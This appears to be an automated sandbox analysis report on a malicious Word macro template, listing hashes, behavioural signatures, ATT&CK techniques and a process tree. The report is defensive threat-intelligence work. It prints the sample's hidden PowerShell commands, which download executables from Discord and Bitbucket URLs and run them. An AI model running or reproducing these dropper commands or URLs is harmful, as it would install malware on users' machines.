7a3b1e9c8df660dc1c1cf9b17411c1d6a4ffca364712c5de8ac46b1199ece1ce

Analysis

max time kernel
121s
max time network
135s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
11-11-2024 02:36

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General

Target

example.dotm
Size

16KB
MD5

1aae26fe5d7b7dc4d6794a7828aecedc
SHA1

fbb8c6f45f53dc80e276a72cf9f567054b65c206
SHA256

1d473e82efa66368ffb4ce8f5eb947296c8e8d3febbe3a6283857da6fb1cc7d5
SHA512

2036693971d4710c9d59c569a8a8fef98ee33422b324c343c07aac9fb67500f82e54c6904054f65a7294dbbc745773fdbf6a6051aa7a71ac8b04b9c3dcf5c6e0
SSDEEP

384:tBt67TB+TZ2T/aNxt/ZtNNei/eX+30Oncsqf:R6PaGIxllNeAeX+3BcBf

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://cdn.discordapp.com/attachments/1074394309446619298/1085646503940464700/putty.exe

Extracted

Language

ps1

Source

URLs

exe.dropper

https://bitbucket.org/damnman/damn/downloads/simplecryptservice.docx

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2892	2068	powershell.exe	29
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2692	2068	powershell.exe	29

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2892	powershell.exe
2692	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2068	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2892	powershell.exe
2692	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	2892	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2068	WINWORD.EXE
2068	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2068 wrote to memory of 2892	2068	WINWORD.EXE	30
PID 2068 wrote to memory of 2892	2068	WINWORD.EXE	30
PID 2068 wrote to memory of 2892	2068	WINWORD.EXE	30
PID 2068 wrote to memory of 2892	2068	WINWORD.EXE	30
PID 2068 wrote to memory of 2692	2068	WINWORD.EXE	31
PID 2068 wrote to memory of 2692	2068	WINWORD.EXE	31
PID 2068 wrote to memory of 2692	2068	WINWORD.EXE	31
PID 2068 wrote to memory of 2692	2068	WINWORD.EXE	31
PID 2068 wrote to memory of 2836	2068	WINWORD.EXE	35
PID 2068 wrote to memory of 2836	2068	WINWORD.EXE	35
PID 2068 wrote to memory of 2836	2068	WINWORD.EXE	35
PID 2068 wrote to memory of 2836	2068	WINWORD.EXE	35

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\example.dotm"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2068
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden Start-BitsTransfer -Sou https://cdn.discordapp.com/attachments/1074394309446619298/1085646503940464700/putty.exe -Dest C:\Users\Public\putty.exe;C:\Users\Public\putty.exe
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2892
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden Start-BitsTransfer -Sou https://bitbucket.org/damnman/damn/downloads/simplecryptservice.docx -Dest C:\Users\Public\simplecryptservice.docx;C:\Users\Public\simplecryptservice.docx
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2692
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2068-0-0x000000002F7D1000-0x000000002F7D2000-memory.dmp

Filesize
4KB

Download
memory/2068-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2068-2-0x00000000717AD000-0x00000000717B8000-memory.dmp

Filesize
44KB

Download
memory/2068-10-0x0000000005020000-0x0000000005120000-memory.dmp

Filesize
1024KB

Download
memory/2068-18-0x0000000005020000-0x0000000005120000-memory.dmp

Filesize
1024KB

Download
memory/2068-17-0x0000000005020000-0x0000000005120000-memory.dmp

Filesize
1024KB

Download
memory/2068-30-0x00000000717AD000-0x00000000717B8000-memory.dmp

Filesize
44KB

Download
memory/2068-31-0x0000000005020000-0x0000000005120000-memory.dmp

Filesize
1024KB

Download
memory/2068-32-0x0000000005020000-0x0000000005120000-memory.dmp

Filesize
1024KB

Download
memory/2068-33-0x0000000005020000-0x0000000005120000-memory.dmp

Filesize
1024KB

Download